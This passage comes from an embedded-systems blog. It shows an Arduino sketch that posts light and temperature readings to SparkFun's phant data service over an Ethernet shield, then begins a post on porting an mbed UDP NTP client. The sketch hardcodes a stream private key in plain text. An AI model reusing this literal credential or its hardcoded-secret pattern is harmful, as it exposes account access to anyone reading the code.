// Set Up Ethernet:
setupEthernet();
Serial.println(F("=========== Ready to Stream ==========="));
Serial.println(F("Press the button (D3) to send an update"));
#if 0 // don't use
Serial.println(F("Type your name (no spaces!), followed by '!' to update name"));
#endif
}
void loop()
{
// If the trigger pin (3) goes low, send the data.
if (!digitalRead(triggerPin))
{
// Gather data:
fieldData[0] = analogRead(lightPin);
fieldData[1] = analogRead(tempPin);
//fieldData[2] = name;
Serial.println("Posting!");
postData(); // the postData() function does all the work,
// check it out below.
delay(1000);
}
#if 0 // don't use
// Check for a new name input:
if (Serial.available())
{
char c = Serial.read();
if (c == '!')
{
newName = true;
Serial.print("Your name is ");
Serial.println(name);
}
else if (newName)
{
newName = false;
name = "";
name += c;
}
else
{
name += c;
}
}
#endif
}
void postData()
{
// Make a TCP connection to remote host
if (client.connect(server, 80))
{
// Post the data! Request should look a little something like:
// GET /input/publicKey?private_key=privateKey&amp;light=1024&amp;switch=0&amp;name=Jim HTTP/1.1\n
// Host: data.sparkfun.com\n
// Connection: close\n
// \n
client.print("GET /input/");
client.print(publicKey);
client.print("?private_key=");
client.print(privateKey);
for (int i=0; i&lt;NUM_FIELDS; i++)
{
client.print("&amp;");
client.print(fieldNames[i]);
client.print("=");
client.print(fieldData[i]);
}
client.println(" HTTP/1.1");
client.print("Host: ");
client.println(server);
client.println("Connection: close");
client.println();
}
else
{
Serial.println(F("Connection failed"));
}
// Check for a response from the server, and route it
// out the serial port.
while (client.connected())
{
if ( client.available() )
{
char c = client.read();
Serial.print(c);
}
}
Serial.println();
client.stop();
}
void setupEthernet()
{
Serial.println("Setting up Ethernet...");
// start the Ethernet connection:
if (Ethernet.begin(mac) == 0) {
Serial.println(F("Failed to configure Ethernet using DHCP"));
// no point in carrying on, so do nothing forevermore:
// try to congifure using IP address instead of DHCP:
Ethernet.begin(mac, ip);
}
Serial.print("My IP address: ");
Serial.println(Ethernet.localIP());
// give the Ethernet shield a second to initialize:
delay(1000);
}
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;"><span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">/*****************************************************************
Phant_Ethernet.ino
Post data to SparkFun's data stream server system (phant) using
an Arduino and an Ethernet Shield.
Jim Lindblom @ SparkFun Electronics
Original Creation Date: July 3, 2014
Roy Kim(Soohwan Kim) embeddist@gmail.com
Modified DateL August 26, 2015
S
This sketch uses an Arduino Uno to POST sensor readings to
SparkFun's data logging streams (http://data.sparkfun.com). A post
will be initiated whenever pin 3 is connected to ground.
Before uploading this sketch, there are a number of global vars
that need adjusting:
1. Ethernet Stuff: Fill in your desired MAC and a static IP, even
if you're planning on having DCHP fill your IP in for you.
The static IP is only used as a fallback, if DHCP doesn't work.
2. Phant Stuff: Fill in your data stream's public, private, and
data keys before uploading!
Hardware Hookup:
* These components are connected to the Arduino's I/O pins:
<Original>
* D3 - Active-low momentary button (pulled high internally)
* A0 - Photoresistor (which is combined with a 10k resistor
to form a voltage divider output to the Arduino).
* D5 - SPDT switch to select either 5V or 0V to this pin.
<Modified>
* D3 - Active-low momentary button (pulled high internally)
* A1 - Photoresistor (which is combined with a 10k resistor
to form a voltage divider output to the Arduino).
* A2 - Temporature Sensor (LM35)
* A CC3000 Shield sitting comfortable on top of your Arduino.
Development environment specifics:
<Original>
IDE: Arduino 1.0.5
Hardware Platform: RedBoard & PoEthernet Shield
<Modified>
IDE: Arduino 1.7.6
Hardware Platform: Arduino DUE & W5500 Ethernet Shield
This code is beerware; if you see me (or any other SparkFun
employee) at the local, and you've found our code helpful, please
buy us a round!
Much of this code is largely based on David Mellis' WebClient
example in the Ethernet library.
Distributed as-is; no warranty is given.
*****************************************************************/</span>
<span class="hljs-preprocessor" style="color: rgb(153, 153, 153); font-weight: bold;">#<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">include</span> <SPI.h> <span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Required to use Ethernet</span></span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">//#include <Ethernet.h> // The Ethernet library includes the client for W5100</span>
<span class="hljs-preprocessor" style="color: rgb(153, 153, 153); font-weight: bold;">#<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">include</span> <Ethernet2.h> <span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// The Ethernet library includes the client for W5500</span></span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">//#include <Progmem.h> // Allows us to sacrifice flash for DRAM //@Modified: Don't use</span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">///////////////////////</span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Ethernet Settings //</span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">///////////////////////</span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Enter a MAC address for your controller below.</span>
byte mac[] = { <span class="hljs-number" style="color: rgb(0, 128, 128);">0xDE</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0xAD</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0xBE</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0xEF</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0xFE</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0xED</span> };
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// if you don't want to use DNS (and reduce your sketch size)</span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// use the numeric IP instead of the name for the server:</span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">//IPAddress server(54,86,132,254); // numeric IP for data.sparkfun.com</span>
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">char</span> server[] = <span class="hljs-string" style="color: rgb(221, 17, 68);">"data.sparkfun.com"</span>; <span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// name address for data.sparkFun (using DNS)</span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Set the static IP address to use if the DHCP fails to assign</span>
<span class="hljs-function">IPAddress <span class="hljs-title" style="color: rgb(153, 0, 0); font-weight: bold;">ip</span><span class="hljs-params">(192,168,0,177)</span></span>;
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Initialize the Ethernet client library</span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// with the IP address and port of the server </span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// that you want to connect to (port 80 is default for HTTP):</span>
EthernetClient client;
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">/////////////////</span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Phant Stuff //</span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">/////////////////</span>
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">const</span> String publicKey = <span class="hljs-string" style="color: rgb(221, 17, 68);">"6JZbNolApzF4om2l9yYK"</span>;
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">const</span> String privateKey = <span class="hljs-string" style="color: rgb(221, 17, 68);">"Ww0vPW1yrkUNDqWPV9jE"</span>;
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">const</span> byte NUM_FIELDS = <span class="hljs-number" style="color: rgb(0, 128, 128);">2</span>;
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">const</span> String fieldNames[NUM_FIELDS] = {<span class="hljs-string" style="color: rgb(221, 17, 68);">"lux"</span>, <span class="hljs-string" style="color: rgb(221, 17, 68);">"temp"</span>};
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">int</span> fieldData[NUM_FIELDS];
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">//////////////////////</span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Input Pins, Misc //</span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">//////////////////////</span>
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">const</span> <span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">int</span> triggerPin = <span class="hljs-number" style="color: rgb(0, 128, 128);">3</span>;
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">const</span> <span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">int</span> lightPin = A1;
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">const</span> <span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">int</span> tempPin = A2;
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">float</span> tempC;
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">int</span> reading;
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">//String name = "Ether-anon";</span>
String name = <span class="hljs-string" style="color: rgb(221, 17, 68);">"Roy"</span>;
boolean newName = <span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">true</span>;
<span class="hljs-function"><span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">void</span> <span class="hljs-title" style="color: rgb(153, 0, 0); font-weight: bold;">setup</span><span class="hljs-params">()</span>
</span>{
Serial.begin(<span class="hljs-number" style="color: rgb(0, 128, 128);">115200</span>);
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Setup Input Pins:</span>
pinMode(triggerPin, INPUT_PULLUP);
pinMode(lightPin, INPUT_PULLUP);
pinMode(tempPin, INPUT_PULLUP);
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Set Up Ethernet:</span>
setupEthernet();
Serial.println(F(<span class="hljs-string" style="color: rgb(221, 17, 68);">"=========== Ready to Stream ==========="</span>));
Serial.println(F(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Press the button (D3) to send an update"</span>));
<span class="hljs-preprocessor" style="color: rgb(153, 153, 153); font-weight: bold;">#<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">if</span> 0 <span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// don't use</span></span>
Serial.println(F(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Type your name (no spaces!), followed by '!' to update name"</span>));
<span class="hljs-preprocessor" style="color: rgb(153, 153, 153); font-weight: bold;">#<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">endif</span></span>
}
<span class="hljs-function"><span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">void</span> <span class="hljs-title" style="color: rgb(153, 0, 0); font-weight: bold;">loop</span><span class="hljs-params">()</span>
</span>{
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// If the trigger pin (3) goes low, send the data.</span>
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">if</span> (!digitalRead(triggerPin))
{
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Gather data:</span>
fieldData[<span class="hljs-number" style="color: rgb(0, 128, 128);">0</span>] = analogRead(lightPin);
fieldData[<span class="hljs-number" style="color: rgb(0, 128, 128);">1</span>] = analogRead(tempPin);
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">//fieldData[2] = name;</span>
Serial.println(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Posting!"</span>);
postData(); <span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// the postData() function does all the work, </span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// check it out below.</span>
delay(<span class="hljs-number" style="color: rgb(0, 128, 128);">1000</span>);
}
<span class="hljs-preprocessor" style="color: rgb(153, 153, 153); font-weight: bold;">#<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">if</span> 0 <span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// don't use</span></span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Check for a new name input:</span>
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">if</span> (Serial.available())
{
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">char</span> c = Serial.read();
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">if</span> (c == <span class="hljs-string" style="color: rgb(221, 17, 68);">'!'</span>)
{
newName = <span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">true</span>;
Serial.print(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Your name is "</span>);
Serial.println(name);
}
<span class="hljs-function"><span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">else</span> <span class="hljs-title" style="color: rgb(153, 0, 0); font-weight: bold;">if</span> <span class="hljs-params">(newName)</span>
</span>{
newName = <span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">false</span>;
name = <span class="hljs-string" style="color: rgb(221, 17, 68);">""</span>;
name += c;
}
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">else</span>
{
name += c;
}
}
<span class="hljs-preprocessor" style="color: rgb(153, 153, 153); font-weight: bold;">#<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">endif</span></span>
}
<span class="hljs-function"><span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">void</span> <span class="hljs-title" style="color: rgb(153, 0, 0); font-weight: bold;">postData</span><span class="hljs-params">()</span>
</span>{
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Make a TCP connection to remote host</span>
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">if</span> (client.connect(server, <span class="hljs-number" style="color: rgb(0, 128, 128);">80</span>))
{
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Post the data! Request should look a little something like:</span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// GET /input/publicKey?private_key=privateKey&light=1024&switch=0&name=Jim HTTP/1.1\n</span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Host: data.sparkfun.com\n</span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Connection: close\n</span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// \n</span>
client.print(<span class="hljs-string" style="color: rgb(221, 17, 68);">"GET /input/"</span>);
client.print(publicKey);
client.print(<span class="hljs-string" style="color: rgb(221, 17, 68);">"?private_key="</span>);
client.print(privateKey);
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">for</span> (<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">int</span> i=<span class="hljs-number" style="color: rgb(0, 128, 128);">0</span>; i<NUM_FIELDS; i++)
{
client.print(<span class="hljs-string" style="color: rgb(221, 17, 68);">"&"</span>);
client.print(fieldNames[i]);
client.print(<span class="hljs-string" style="color: rgb(221, 17, 68);">"="</span>);
client.print(fieldData[i]);
}
client.println(<span class="hljs-string" style="color: rgb(221, 17, 68);">" HTTP/1.1"</span>);
client.print(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Host: "</span>);
client.println(server);
client.println(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Connection: close"</span>);
client.println();
}
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">else</span>
{
Serial.println(F(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Connection failed"</span>));
}
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Check for a response from the server, and route it</span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// out the serial port.</span>
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">while</span> (client.connected())
{
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">if</span> ( client.available() )
{
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">char</span> c = client.read();
Serial.print(c);
}
}
Serial.println();
client.stop();
}
<span class="hljs-function"><span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">void</span> <span class="hljs-title" style="color: rgb(153, 0, 0); font-weight: bold;">setupEthernet</span><span class="hljs-params">()</span>
</span>{
Serial.println(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Setting up Ethernet..."</span>);
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// start the Ethernet connection:</span>
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">if</span> (Ethernet.begin(mac) == <span class="hljs-number" style="color: rgb(0, 128, 128);">0</span>) {
Serial.println(F(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Failed to configure Ethernet using DHCP"</span>));
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// no point in carrying on, so do nothing forevermore:</span>
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// try to congifure using IP address instead of DHCP:</span>
Ethernet.begin(mac, ip);
}
Serial.print(<span class="hljs-string" style="color: rgb(221, 17, 68);">"My IP address: "</span>);
Serial.println(Ethernet.localIP());
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// give the Ethernet shield a second to initialize:</span>
delay(<span class="hljs-number" style="color: rgb(0, 128, 128);">1000</span>);
}
</code></pre><h3 id="demo:" style="clear: both;font-size: 1.6em; font-weight: bold; margin: 1.125em 0px 0.75em;"><a name="demo:" href="#demo:" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Demo:</h3><h4 id="serial-monitor" style="clear: both;font-size: 1.4em; font-weight: bold; margin: 0.99em 0px 0.66em;"><a name="serial-monitor" href="#serial-monitor" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Serial Monitor</h4><ol style="list-style-type: decimal;">
<li style="display: list-item; line-height: 1.4em;">DHCP Clinet message</li><li style="display: list-item; line-height: 1.4em;">Press the button to send query to server, then postData() is called.</li><li style="display: list-item; line-height: 1.4em;">Confirm the response message<br style="clear: both;"><a data-flickr-embed="true" data-header="false" data-footer="false" data-context="false" href="https://www.flickr.com/photos/129289794@N06/20900838812/in/dateposted-public/" title="E_2015-08-26_17-15-57" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm1.staticflickr.com/576/20900838812_8718a7c24e.jpg" width="335" height="500" alt="E_2015-08-26_17-15-57" style="max-width: 100%;"></a></li></ol><h4 id="[https://data.sparkfun.com/office_monitoring](https://data.sparkfun.com/office_monitoring)" style="clear: both;font-size: 1.4em; font-weight: bold; margin: 0.99em 0px 0.66em;"><a name="[https://data.sparkfun.com/office_monitoring](https://data.sparkfun.com/office_monitoring)" href="#[https://data.sparkfun.com/office_monitoring](https://data.sparkfun.com/office_monitoring)" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a><a href="https://data.sparkfun.com/office_monitoring" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a><a href="https://data.sparkfun.com/office_monitoring" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">https://data.sparkfun.com/office_monitoring</a></h4><ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Before sending query<br style="clear: both;"><a data-flickr-embed="true" data-header="false" data-footer="false" data-context="false" href="https://www.flickr.com/photos/129289794@N06/20289544693/in/dateposted-public/" title="E_page2" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm1.staticflickr.com/573/20289544693_05559b80c6.jpg" width="500" height="251" alt="E_page2" style="max-width: 100%;"></a></p>
</li><li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">After sending query : lux and temp are filed names.<br style="clear: both;"><a data-flickr-embed="true" data-header="false" data-footer="false" data-context="false" href="https://www.flickr.com/photos/129289794@N06/20722520050/in/dateposted-public/" title="E_page3" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm1.staticflickr.com/566/20722520050_918855933b.jpg" width="444" height="500" alt="E_page3" style="max-width: 100%;"></a></p>
</li></ul></div>Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com0tag:blogger.com,1999:blog-143079075104332374.post-55482008994539066082015-07-06T01:04:00.000-07:002015-07-06T06:06:09.849-07:00UdpNtpClient<div style="background-color: rgb(255, 255, 255); font-family: 'Lucida Grande', 'Segoe UI', 'Apple SD Gothic Neo', 'Malgun Gothic', 'Lucida Sans Unicode', Helvetica, Arial, sans-serif; font-size: 0.9em; overflow-x: hidden; overflow-y: auto; margin: 0px !important; padding: 5px 20px 26px !important;padding: 20px;padding: 20px; color: rgb(0, 0, 0); font-size: 15px; font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', AppleSDGothicNeo-Medium, 'Segoe UI', 'Malgun Gothic', Verdana, Tahoma, sans-serif; background-color: rgb(255, 255, 255); -webkit-font-smoothing: antialiased; background-position: initial initial; background-repeat: initial initial;">
<h1 id="udp-ntp-client" style="clear: both;font-size: 2.2em; font-weight: bold; margin: 1.5em 0px 1em;margin-top: 0px;"><a name="udp-ntp-client" href="#udp-ntp-client" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>UDP NTP Client</h1><h2 id="ntp" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230); line-height: 1.7em;"><a name="ntp" href="#ntp" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>NTP</h2><p style="margin-top: 0px;margin: 1em 0px; word-wrap: break-word;">*<a href="https://en.wikipedia.org/wiki/NTP" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">Network Time Protocol - wikipedia</a><br style="clear: both;"><img src="https://blog.cloudflare.com/content/images/Screen_Shot_2014-01-09_at_11.33.15_AM.png" alt="NTP" style="max-width: 100%;"></p><p style="margin: 1em 0px; word-wrap: break-word;">*참조:https://blog.cloudflare.com/understanding-and-mitigating-ntp-based-ddos-attacks/</p><h2 id="do-udpntpclient" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230); line-height: 1.7em;"><a name="do-udpntpclient" href="#do-udpntpclient" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Do UdpNtpClient</h2><ol style="list-style-type: decimal;">
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Import Program NTPClinet_HelloWorld: “<a href="http://developer.mbed.org/users/embeddist/code/UdpNtpClient/" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">http://developer.mbed.org/users/embeddist/code/UdpNtpClient/</a><br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19272439389" title="2015-07-06_15-22-24 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/344/19272439389_9552326d18.jpg" width="402" height="252" alt="2015-07-06_15-22-24" style="max-width: 100%;"></a></p>
</li>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">if same program is existed, Import Name of NTPClinet_HelloWorld will be changed(2).<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/18837954993" title="2015-07-06_15-23-39 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/513/18837954993_2b3d65267c.jpg" width="397" height="270" alt="2015-07-06_15-23-39" style="max-width: 100%;"></a></p>
</li>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Remove mbed-rtos and EthernetInterface</p>
<ul>
<li style="display: list-item; line-height: 1.4em;">Remove mbe-rtos<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19432518226" title="2015-07-06_15-25-15 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/488/19432518226_84224ea723.jpg" width="269" height="482" alt="2015-07-06_15-25-15" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;">Remove EethernetInterface<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19452253842" title="2015-07-06_15-25-25 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/546/19452253842_19f787ced6.jpg" width="269" height="482" alt="2015-07-06_15-25-25" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;">Directory after removing mbed-rtos & EthernetInterface<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19271018950" title="2015-07-06_15-26-46 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/395/19271018950_648eeaba51.jpg" width="257" height="71" alt="2015-07-06_15-26-46" style="max-width: 100%;"></a></li>
</ul>
</li>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Import WIZnetInterface”<a href="https://developer.mbed.org/teams/WIZnet/code/WIZnetInterface/"(1" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">https://developer.mbed.org/teams/WIZnet/code/WIZnetInterface/"(1</a>)<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19462854251" title="2015-07-06_15-28-12 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/458/19462854251_82ed908628.jpg" width="400" height="301" alt="2015-07-06_15-28-12" style="max-width: 100%;"></a></p>
</li>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Dirctory for UdpNtpClient<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19272439129" title="2015-07-06_15-29-11 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c4.staticflickr.com/4/3784/19272439129_95f24a5b4f.jpg" width="245" height="189" alt="2015-07-06_15-29-11" style="max-width: 100%;"></a></p>
</li>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Make Codes: porting to WIZnetInterface from EthernetInterface</p>
<ul>
<li style="display: list-item; line-height: 1.4em;">Add arrange for MAC address, call init(mac_addr) for initialing ethernet class.<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19462980801" title="2015-07-06_15-47-20 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/496/19462980801_087e27c5fe_z.jpg" width="473" height="544" alt="2015-07-06_15-47-20" style="max-width: 100%;"></a></li>
</ul>
</li>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">UDP APIs in WIZnetInterface</p>
<ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">NTPClient.cpp\Bind() in UDP<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/18836323824" title="2015-07-06_15-55-19 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/323/18836323824_8694521a03.jpg" width="426" height="56" alt="2015-07-06_15-55-19" style="max-width: 100%;"></a></p>
</li>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">NTPClient.cpp\sendTo(): send in UDP<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/18838209693" title="2015-07-06_15-52-14 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/275/18838209693_b31f18053c_z.jpg" width="566" height="124" alt="2015-07-06_15-52-14" style="max-width: 100%;"></a></p>
</li>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">NTPClient.cpp\receiveFrom(): recv in UDP<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/18836323924" title="2015-07-06_15-52-41 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/305/18836323924_9908e21d58_c.jpg" width="800" height="106" alt="2015-07-06_15-52-41" style="max-width: 100%;"></a></p>
</li>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">NTPClient.cpp\Close() in UDP<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/18836323814" title="2015-07-06_15-54-43 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/399/18836323814_7422fa854d.jpg" width="451" height="95" alt="2015-07-06_15-54-43" style="max-width: 100%;"></a></p>
</li>
</ul>
</li>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Confirm packets by WireShark</p>
